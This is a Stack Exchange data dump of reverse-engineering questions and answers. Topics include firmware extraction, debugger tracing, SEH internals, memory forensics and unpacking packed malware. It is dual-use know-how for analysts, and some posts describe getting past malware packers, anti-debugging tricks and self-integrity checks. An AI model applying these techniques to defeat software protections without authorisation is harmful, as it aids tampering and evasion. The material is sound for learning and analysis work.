  <row Id="12764" PostTypeId="2" ParentId="12760" CreationDate="2016-05-30T06:01:56.650" Score="1" Body="&lt;p&gt;Add to option &quot;M&quot; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; binwalk -eM wr741ndv4_ru_3_13_2_up_boot(140521).bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;refer)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ man binwalk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-M, --matryoshka &#xA;&lt;strong&gt;Recursively scan extracted files&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16241" LastActivityDate="2016-05-30T06:01:56.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12766" PostTypeId="2" ParentId="12762" CreationDate="2016-05-30T16:36:15.250" Score="0" Body="&lt;p&gt;The issue was that the OS pushes some env on the stack which creates this offset in memory when the program is run on gdb ,which can be resolved by removing the env . &#xA;more about this can be found at &lt;a href=&quot;https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it/17775966#17775966&quot;&gt;https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it/17775966#17775966&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16221" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-05-30T16:36:15.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12767" PostTypeId="1" CreationDate="2016-05-30T20:35:00.857" Score="1" ViewCount="142" Body="&lt;p&gt;im wondering if anyone knows how i would go about finding references to a buffer in memory, the scenario is that i have found the buffer that the program receives from a server, the buffer is encoded so im trying to find the routine that is going to decode it, i know its possible since people have done it in the past and im just trying to re-create it to learn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways so i tried placing a hardware breakpoint on the buffer but it only gets hit like 3-4 times and none of them really copy the buffer or modify it in any way :/ so im wondering if im not finding all references to the buffer ? and how one would go about this in general.&lt;/p&gt;&#xA;" OwnerUserId="16246" LastActivityDate="2016-05-30T20:35:00.857" Title="Tracing what references a buffer in memory using Olly?" Tags="|ollydbg|memory|tracing|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12768" PostTypeId="1" AcceptedAnswerId="12802" CreationDate="2016-05-30T23:11:05.660" Score="1" ViewCount="697" Body="&lt;p&gt;What is the reason behind the byte scission (the next immediate byte following &quot;int 2d&quot; is skipped) behaviour when executing INT 0x2D?&#xA;I came across this article &lt;a href=&quot;http://www.drdobbs.com/monitoring-nt-debug-services/184416239&quot; rel=&quot;nofollow&quot;&gt;http://www.drdobbs.com/monitoring-nt-debug-services/184416239&lt;/a&gt; but still cannot understand what is the reason for Windows to skip the byte.&#xA;Any explanation is welcome. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14289" LastActivityDate="2023-12-29T02:39:03.640" Title="What is the reason for INT 0x2D byte scission?" Tags="|anti-debugging|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12769" PostTypeId="2" ParentId="8463" CreationDate="2016-05-31T06:52:46.650" Score="1" Body="&lt;p&gt;As there are little data about the unpack flow, here is the general approach you should follow in most packed malwares. This will probably be more complicated if we are talking about some custom and sophisticated packers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also strongly suggest to avoid various automatic unpacking plugins as they leaving you without the understanding of the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in most cases unpackers (in terms of unpack process) will try to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;validate their payload&lt;/li&gt;&#xA;&lt;li&gt;allocate new memory to store the unpacked code (data). This will (in most cases) be done with the help of &lt;code&gt;VirtualAlloc(Ex)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;unpack routing will take the obfuscated code and write the clean one to the allocated space&lt;/li&gt;&#xA;&lt;li&gt;at the end of the process transfer control to the payload&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What you should try to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;place the HW breakpoint on the &lt;code&gt;VirtualAlloc(Ex)&lt;/code&gt; as there are packers which will check the preamble for the BP placements. Press &lt;code&gt;execute till ret&lt;/code&gt; and at the &lt;code&gt;EAX&lt;/code&gt; you will get the allocated memory area address&lt;/li&gt;&#xA;&lt;li&gt;right click on the &lt;code&gt;EAX&lt;/code&gt; to follow the address in &lt;code&gt;Dump&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;place the &lt;code&gt;Memory On Write&lt;/code&gt; breakpoint or &lt;code&gt;HW on write&lt;/code&gt; breakpoint which should get you to the actual unpack routine&lt;/li&gt;&#xA;&lt;li&gt;analyze the flow of the unpack routing to place another breakpoint at the end of the unpack process&lt;/li&gt;&#xA;&lt;li&gt;once the unpacking is done, right click on the &lt;code&gt;Dump&lt;/code&gt; windows to save the unpacked payload to the file.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In your case, the payload will probably will not be the clean &lt;code&gt;MZ&lt;/code&gt; file or in contrary, the unpack routing intentionally had crippled the payload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably this will be an iterative process as you also need to validate that the unpacked payload is actually the code. Try to use &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Trace&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;in addition place &lt;code&gt;HW on Execute&lt;/code&gt; at the beginning of the unpacked payload&lt;/li&gt;&#xA;&lt;li&gt;dump unpacking routine / area and open it in IDA to understand (find) if there are any control transferring process near by.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Have Fun!&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2016-05-31T06:52:46.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12770" PostTypeId="1" CreationDate="2016-05-31T09:35:58.903" Score="1" ViewCount="45" Body="&lt;p&gt;I am reversing a DLL insied a Unity game with .NET Reflector, and I found some weird fields.&#xA;They are &lt;strong&gt;never assinged&lt;/strong&gt;, there was no item under the &lt;strong&gt;Assigned by&lt;/strong&gt; while there were some items under the &lt;strong&gt;Used by&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this explained?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reflection?&#xA;Native side assign?&lt;/p&gt;&#xA;" OwnerUserId="13621" LastActivityDate="2016-05-31T09:35:58.903" Title="Field that is never assigned?" Tags="|dll|c#|" AnswerCount="0" CommentCount="2" ClosedDate="2016-06-05T22:25:19.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="12772" PostTypeId="1" AcceptedAnswerId="12777" CreationDate="2016-06-01T03:22:04.570" Score="15" ViewCount="7941" Body="&lt;p&gt;There was once a disassembler on DOS named &lt;strong&gt;Sourcer&lt;/strong&gt; that can disassembly BIOS routines. However, how do we access to BIOS ROM from software to do such a thing?&lt;/p&gt;&#xA;" OwnerUserId="16259" LastEditorUserId="16259" LastEditDate="2016-06-01T06:06:20.080" LastActivityDate="2016-06-01T18:36:53.440" Title="How can BIOS routines be disassemblied?" Tags="|disassembly|bios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12773" PostTypeId="1" CreationDate="2016-06-01T06:49:41.257" Score="3" ViewCount="3213" Body="&lt;p&gt;Is there any iOS app for arm Disassembling?&#xA;I mean one that can run on iPhone. &#xA;Nor IDA or Hopper have any iOS version &lt;/p&gt;&#xA;" OwnerUserId="16263" LastActivityDate="2016-11-18T04:03:34.470" Title="Any Disassembler for iOS?" Tags="|arm|disassemblers|ios|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12774" PostTypeId="1" AcceptedAnswerId="12775" CreationDate="2016-06-01T09:02:39.753" Score="3" ViewCount="806" Body="&lt;p&gt;I am trying to read through Matt Pietrek article on &quot;A Crash Course on the Depths of Win32 Structured Exception Handling&quot; linked &lt;a href=&quot;https://www.microsoft.com/msj/0197/exception/exception.aspx&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. In the section titled &lt;strong&gt;&lt;em&gt;Compiler-level SEH&lt;/em&gt;&lt;/strong&gt;, he writes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now that you know that a _try block corresponds to an EXCEPTION_REGISTRATION structure on the stack, what about the callback function within the EXCEPTION_ REGISTRATION? Using Win32 terminology, the exception callback function corresponds to the filter-expression code. To refresh your memory, the filter-expression is the code in parens after the _except keyword. It's this filter-expression code that decides whether the code in the subsequent {} block will execute.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At this point, I am a bit confused. All along, until this point I thought that the callback function is the function that is going to handle the exception, i.e. the code inside the _except block. Kindly help me understand this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if the filter-expression code corresponds with the callback function, then what corresponds to the code inside '{}' after the filter-expression?&lt;/p&gt;&#xA;" OwnerUserId="15582" LastActivityDate="2016-06-01T10:40:16.717" Title="Win32 Structured Exception Handling in MS C++ - Mapping compiler code to assembly code" Tags="|windows|x86|c++|exception|seh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12775" PostTypeId="2" ParentId="12774" CreationDate="2016-06-01T10:40:16.717" Score="4" Body="&lt;p&gt;In case of the compiler-level SEH, the &lt;em&gt;callback invoked by the OS&lt;/em&gt; is the compiler-provided function, usually &lt;code&gt;__except_handler3&lt;/code&gt; or similar. Once called, it inspects the stack, retrieves the trylevel, looks up the corresponding scopetable entry and calls the exception filter (&lt;code&gt;lpfnFilter&lt;/code&gt;). If the filter returns non-zero, the handler (&lt;code&gt;lpfnHandler&lt;/code&gt;) is invoked - &lt;em&gt;this&lt;/em&gt; is the code corresponding to the code inside the &lt;code&gt;__except/__finally&lt;/code&gt; block.&#xA;For a specific example, check Appendix I here: &lt;a href=&quot;http://www.openrce.org/articles/full_view/21&quot; rel=&quot;nofollow&quot;&gt;http://www.openrce.org/articles/full_view/21&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;strong&gt;&lt;em&gt;C++ EH&lt;/em&gt;&lt;/strong&gt; uses a somewhat more complicated approach compared to &quot;simple&quot; SEH to ensure proper semantics (such as automatic object destruction during unwinding), so it's not as easy to map back to source code, but doable (see Appendix II in the above article).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, in recent Visual Studio versions, Microsoft provides almost complete CRT source, including the implementation of &lt;code&gt;__except_handlerN&lt;/code&gt; and &lt;code&gt;___CxxFrameHandler&lt;/code&gt;, so you could look there too (e.g. &lt;code&gt;\Program Files (x86)\Microsoft Visual Studio 11.0\VC\crt\src\eh\frame.cpp&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-06-01T10:40:16.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12776" PostTypeId="1" AcceptedAnswerId="12785" CreationDate="2016-06-01T11:50:01.820" Score="3" ViewCount="635" Body="&lt;p&gt;I am testing a malware that built as COM EXE service. This exe file has a digital signature.&lt;br /&gt;&#xA;I succeeded to remove the digital signature for trying to modify it for reverse engineering tests.&lt;/p&gt;&#xA;&lt;p&gt;But when I open it in OllyDbg and make any tiny change, the malware crash and not runs at all. Even if I tries to change one byte in the code cave to &lt;code&gt;nop&lt;/code&gt; command, the malware not running.&lt;/p&gt;&#xA;&lt;p&gt;Why can't I change it even in the code cave? Any idea?&lt;/p&gt;&#xA;" OwnerUserId="12789" LastEditorUserId="12789" LastEditDate="2021-01-04T21:59:30.067" LastActivityDate="2021-01-04T21:59:30.067" Title="Crash after exe modification" Tags="|ollydbg|malware|com|" AnswerCount="2" CommentCount="2" ClosedDate="2016-06-05T06:39:57.833" ContentLicense="CC BY-SA 4.0" />
  <row Id="12777" PostTypeId="2" ParentId="12772" CreationDate="2016-06-01T17:45:08.963" Score="18" Body="&lt;p&gt;In the old days, you could usually dump the high part of the 1MB memory (e.g. E000:0000 to F000:FFFF) to retrieve the copy of your BIOS ROM, but nowadays the BIOS no longer fits into 64K or even 128K so all that you'd get would be a copy of the UEFI's CSM (Compatibility Support Module) with most of the code elsewhere, usually above the 1MB mark. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To retrieve the actual, full BIOS code, you need to read the ROM from the flash chip. This may be possible from the same machine, e.g. by using &lt;a href=&quot;https://www.flashrom.org/&quot;&gt;flashrom&lt;/a&gt; or sometimes the board vendor's firmware update tool if it offers a &quot;backup&quot; option. Sometimes the access to the flash may be blocked from the OS (to prevent BIOS modification by malware) and  in such cases you may have to use an external flash programmer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you got the copy of the ROM, you can start disassembling it. However, keep in mind that modern BIOSes usually implement the UEFI standard, where only a small part of the code (around the reset vector) is 16-bit while most of the code runs in 32-bit (or 64-bit) protected mode, usually using modules implemented in the PE(Portable Executable) format. Since even the structure of the UEFI firmware's ROM is standardized, you can often use a tool such as &lt;a href=&quot;https://github.com/LongSoft/UEFITool&quot;&gt;UEFITool&lt;/a&gt; to extract individual modules for analysis. For more info on UEFI, see the UEFI and PI standards, available for free from &lt;a href=&quot;http://www.uefi.org/specifications&quot;&gt;www.uefi.org&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2016-06-01T18:36:53.440" LastActivityDate="2016-06-01T18:36:53.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12778" PostTypeId="1" AcceptedAnswerId="12780" CreationDate="2016-06-02T02:53:00.893" Score="6" ViewCount="4592" Body="&lt;p&gt;I want to log any functions within a specific module that are called during an execution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried !for_each_function and wt command. However, since the target module doesn't have any symbols, !for_each_function cannot recognize any functions. wt command seems only able to trace with one function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know IDA debugger can trace function calls. But my current problem is that I only want to trace the functions in a specific module. I'm not sure if IDA can do that. Also I'm wondering if IDA debugger can break on module load (similar to 'sxe ld:modulename' in windbg..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually just need the address of all the function that are called. I was thinking if there is any way to set breakpoint on all RET within a module...But haven't figure out how to do that ... &lt;/p&gt;&#xA;" OwnerUserId="4758" LastEditorUserId="4758" LastEditDate="2016-06-02T03:00:28.607" LastActivityDate="2016-06-02T06:49:32.290" Title="Can Windbg trace function calls within a module?" Tags="|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12780" PostTypeId="2" ParentId="12778" CreationDate="2016-06-02T06:49:32.290" Score="5" Body="&lt;p&gt;opening calc.exe in windbg &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;windbg calc    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;skipping all the ldrint system calls &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp calc!WinMain ; g    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tracing only calc module from eip to some specific address and printing the return values&#xA;(please note using arbitrary values as EndAddress may possibly corrupt the &#xA;code by inserting 0xcc in middle of instruction )  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; wt -l 2 -oR -m calc =@eip @eip+5fa   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;trace result with return values (trimmed )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   30     0 [  0] calc!WinMain&#xA;    5     0 [  1]   kernel32!GetModuleHandleWStub&#xA;    1     0 [  1]   kernel32!GetModuleHandleW&#xA;   11     0 [  1]   KERNELBASE!GetModuleHandleW eax = b40000&#xA;   32    17 [  0] calc!WinMain&#xA;   11     0 [  1]   USER32!LoadStringW eax = a&#xA;   36    28 [  0] calc!WinMain&#xA;    3     0 [  1]   calc!CCalculatorSQM::onAppEntry&#xA;    5     0 [  2]     msvcrt!time&#xA;   24     0 [  2]     msvcrt!_time32 eax = 574fd43e&#xA;    5    29 [  1]   calc!CCalculatorSQM::onAppEntry eax = 574fd43e&#xA;   41    62 [  0] calc!WinMain&#xA;   12     0 [  1]   calc!McGenEventRegister&#xA;   38     0 [  2]     ntdll!EtwEventRegister eax = 0&#xA;   14    38 [  1]   calc!McGenEventRegister eax = 0&#xA;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;  364 12901 [  0] calc!WinMain&#xA;   24     0 [  1]   USER32!GetMessageW eax = 1&#xA;  372 12925 [  0] calc!WinMain&#xA;   21     0 [  1]   USER32!TranslateAcceleratorW eax = 0&#xA;  378 12946 [  0] calc!WinMain&#xA;   19     0 [  1]   calc!CContainer::HandleGlobalTabbing eax = 0&#xA;  382 12965 [  0] calc!WinMain&#xA;&#xA;13347 instructions were executed in 13346 events (0 from other threads)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;summary and wt broke where instructed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ole32!CoInitialize                                    1       8       8       8&#xA;oleacc!ATL::CComObject&amp;lt;CPropMgr&amp;gt;::Release             1      16      16      16&#xA;oleacc!CPropMgr::SetHwndPropStr                       5      66      66      66&#xA;&#xA;0 system calls were executed&#xA;&#xA;eax=000cf030 ebx=00000000 ecx=00b94210 edx=76f070b4 esi=00b94210 edi=766e667e&#xA;eip=00b41c2f esp=000cef5c ebp=000cfcc4 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;calc!WinMain+0x7d5:&#xA;00b41c2f e8e2010000      call    calc!CEditBoxInput::HandleWinMainMessage (00b41e16)&#xA;0:000&amp;gt; ? calc!WinMain+5fa&#xA;&#xA;note eip expression and EndAddress in wt command &#xA;    Evaluate expression: 11803695 = 00b41c2f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-06-02T06:49:32.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12781" PostTypeId="2" ParentId="12345" CreationDate="2016-06-02T07:51:31.340" Score="9" Body="&lt;p&gt;The plugin labeless (&lt;a href=&quot;https://github.com/a1ext/labeless&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/a1ext/labeless&lt;/a&gt;) was created for exactly this purpose. You can now also use x64dbgida (&lt;a href=&quot;https://github.com/x64dbg/x64dbgida&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/x64dbg/x64dbgida&lt;/a&gt;) to import/export x64dbg databases.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastEditorUserId="2221" LastEditDate="2016-10-08T00:56:42.480" LastActivityDate="2016-10-08T00:56:42.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12782" PostTypeId="1" AcceptedAnswerId="12784" CreationDate="2016-06-02T08:57:08.403" Score="3" ViewCount="3099" Body="&lt;p&gt;I have a memory dump of a VM running Windows server 2012 R2. The dump is of the entire RAM (4 GB).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to extract as many features as possible from this dump. Mainly I want to extract all stacks of all threads running on the machine and exist in the memory. Alternatively, I want to extract call sequences of all threads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools / tutorials / books etc. which can help me perform this task?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am familiar with both Volatility and Rekall, are there any specific plugins that can help me achieve my goals there?&lt;/p&gt;&#xA;" OwnerUserId="16272" LastEditorUserId="53" LastEditDate="2016-06-02T09:32:03.277" LastActivityDate="2016-06-03T12:16:26.630" Title="Extracting threads' stack from Windows memory dump" Tags="|digital-forensics|callstack|thread|stack|process|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12783" PostTypeId="1" CreationDate="2016-06-02T15:28:07.463" Score="1" ViewCount="143" Body="&lt;p&gt;I currently try to figure out, what actually happens to a &lt;code&gt;PE File&lt;/code&gt; in memory. To reword it: How could &lt;code&gt;PE files&lt;/code&gt; differ, when they run on different computers and what are the mutable parts of a PE file, when they are loaded into memory? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My overall goal is to understand, what a &lt;strong&gt;normalization process of memory dumps&lt;/strong&gt; of specific processes could look like (as mentioned &lt;a href=&quot;https://www.google.com/patents/US20090313700&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My understanding so far:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sections getting mapped to different locations&lt;/li&gt;&#xA;&lt;li&gt;Sections get page-aligned&lt;/li&gt;&#xA;&lt;li&gt;IAT gets updated&lt;/li&gt;&#xA;&lt;li&gt;Base relocations are performed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Did I miss anything?&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2016-06-02T15:28:07.463" Title="Mutable parts of PE files in memory" Tags="|pe|memory-dump|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12784" PostTypeId="2" ParentId="12782" CreationDate="2016-06-02T17:35:24.953" Score="4" Body="&lt;p&gt;I am Not Sure what you are looking for let me try    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have a dump file of a vm too MEMORY.dmp from a vm that ran xp sp3 created using .crash from a kernel debugger attached to it    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i loaded it using windbg as below    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;windbg -z memory.dmp &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now i thought i will count how many threads are running so i did some thing like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; r $t0 = 0; !for_each_thread &quot;r $t0= @$t0+1&quot; ; ? @$t0&#xA;Evaluate expression: 306 = 00000132&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now let me see the call stacks for all threads so i do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !for_each_thread  &quot;.thread @#Thread ; k2&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it spits out &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Implicit thread is now 812915b8&#xA; # ChildEBP RetAddr  &#xA;00 fc8d37b4 804dc0f7 nt!KiSwapContext+0x2e&#xA;01 fc8d37c0 804e3b7d nt!KiSwapThread+0x46&#xA;Implicit thread is now 8128eda8&#xA; # ChildEBP RetAddr  &#xA;00 fc8e3d34 804dc0f7 nt!KiSwapContext+0x2e&#xA;01 fc8e3d40 804e407e nt!KiSwapThread+0x46&#xA;Implicit thread is now 8128eb30&#xA; # ChildEBP RetAddr  &#xA;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ok instead of k2 i do k i get a full stack trace &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Implicit thread is now 810efda8&#xA;  *** Stack trace for last set context - .thread/.cxr resets it&#xA; # ChildEBP RetAddr  &#xA;00 f8ad3c38 804dc0f7 nt!KiSwapContext+0x2e&#xA;01 f8ad3c44 804dc143 nt!KiSwapThread+0x46&#xA;02 f8ad3c6c bf802f52 nt!KeWaitForSingleObject+0x1c2&#xA;03 f8ad3ca8 bf801b2a win32k!xxxSleepThread+0x192&#xA;04 f8ad3cec bf819e6c win32k!xxxRealInternalGetMessage+0x418&#xA;05 f8ad3d4c 804de7ec win32k!NtUserGetMessage+0x27&#xA;06 f8ad3d4c 7c90e4f4 nt!KiFastCallEntry+0xf8&#xA;07 0007fe24 7e4191be ntdll!KiFastSystemCallRet&#xA;08 0007fe44 0100a740 USER32!NtUserGetMessage+0xc&#xA;09 0007fe80 0100c216 wmiprvse!WindowsDispatch+0x31&#xA;0a 0007ff14 0100c314 wmiprvse!Process+0x225&#xA;0b 0007ff1c 010247aa wmiprvse!WinMain+0x4e&#xA;0c 0007ffc0 7c817067 wmiprvse!WinMainCRTStartup+0x174&#xA;0d 0007fff0 00000000 kernel32!BaseProcessStart+0x23&#xA;Implicit thread is now 8113b960&#xA;  *** Stack trace for last set context - .thread/.cxr resets it&#xA;&#xA;XXXXXXXXXXXXXXXX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope your query is answered if not please explain what is it you mean by call sequences &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;addressing the comment by Igor Skochinsky&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the format of the file is raw as in lets say captured with matthieu suiches now defunct win32dd.exe one can use volatility's plugin raw2dmp and use the resulting windbg compatible dmpfile in windbg as above&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;vol25 -f foo.dmp --profile=Win7SP1x86 imageinfo&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Volatility Foundation Volatility Framework 2.5&#xA;INFO    : volatility.debug    : Determining profile based on KDBG search...&#xA;          Suggested Profile(s) : Win7SP0x86, Win7SP1x86&#xA;                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)&#xA;                     AS Layer2 : FileAddressSpace (E:\vola\foo.dmp)&#xA;                      PAE type : PAE&#xA;                           DTB : 0x185000L&#xA;                          KDBG : 0x82d32c28L&#xA;          Number of Processors : 1&#xA;     Image Type (Service Pack) : 1&#xA;                KPCR for CPU 0 : 0x82d33c00L&#xA;             KUSER_SHARED_DATA : 0xffdf0000L&#xA;           Image date and time : 2016-06-02 18:08:14 UTC+0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;vol25 -f foo.dmp  --profile=Win7SP1x86 raw2dmp --output-image=foowind.dmp&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Volatility Foundation Volatility Framework 2.5&#xA;Writing data (5.00 MB chunks): |.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;dumpchk.exe foowind.dmp&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Loading dump file foowind.dmp&#xA;&#xA;Microsoft (R) Windows Debugger Version 10.0.10586.567 X86&#xA;Copyright (c) Microsoft Corporation. All rights reserved.&#xA;&#xA;Loading Dump File [xxx\foowind.dmp]&#xA;Kernel Complete Dump File: Full address space is available&#xA;&#xA;Comment: 'File was converted with Volatility'&#xA;xxxxxxxxxxxxxxxxxxxxxxx&#xA;*** ERROR: Module load completed but symbols could not be loaded for win32dd.exe&#xA;Cannot find frame 0x6c, previous scope unchanged&#xA;*** ERROR: Module load completed but symbols could not be loaded for win32dd.sys&#xA;Probably caused by : win32dd.exe ( win32dd!Unknown )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-06-03T05:42:40.970" LastActivityDate="2016-06-03T05:42:40.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12785" PostTypeId="2" ParentId="12776" CreationDate="2016-06-02T23:20:24.037" Score="0" Body="&lt;p&gt;Maybe the malware have a hash like &quot;SHA1&quot; of its own code so when the malaware run he will check the checksum of executable in memory and compare the hash of memory with the one included in code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try to see at starting point what the malware is doing like memory raiding and also search where he call the &lt;strong&gt;exit()&lt;/strong&gt; function or any function that will make it exit&lt;/p&gt;&#xA;" OwnerUserId="16280" LastActivityDate="2016-06-02T23:20:24.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12786" PostTypeId="2" ParentId="12773" CreationDate="2016-06-02T23:24:57.860" Score="0" Body="&lt;p&gt;I think you might try the &lt;strong&gt;otool&lt;/strong&gt; command line tool its very basic but it do some disassembling, it just show function names and instructions no fancy links &quot;showing where code will jump&quot; it shows only dresses&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But definitely you need to be Jailbroken&lt;/p&gt;&#xA;" OwnerUserId="16280" LastActivityDate="2016-06-02T23:24:57.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
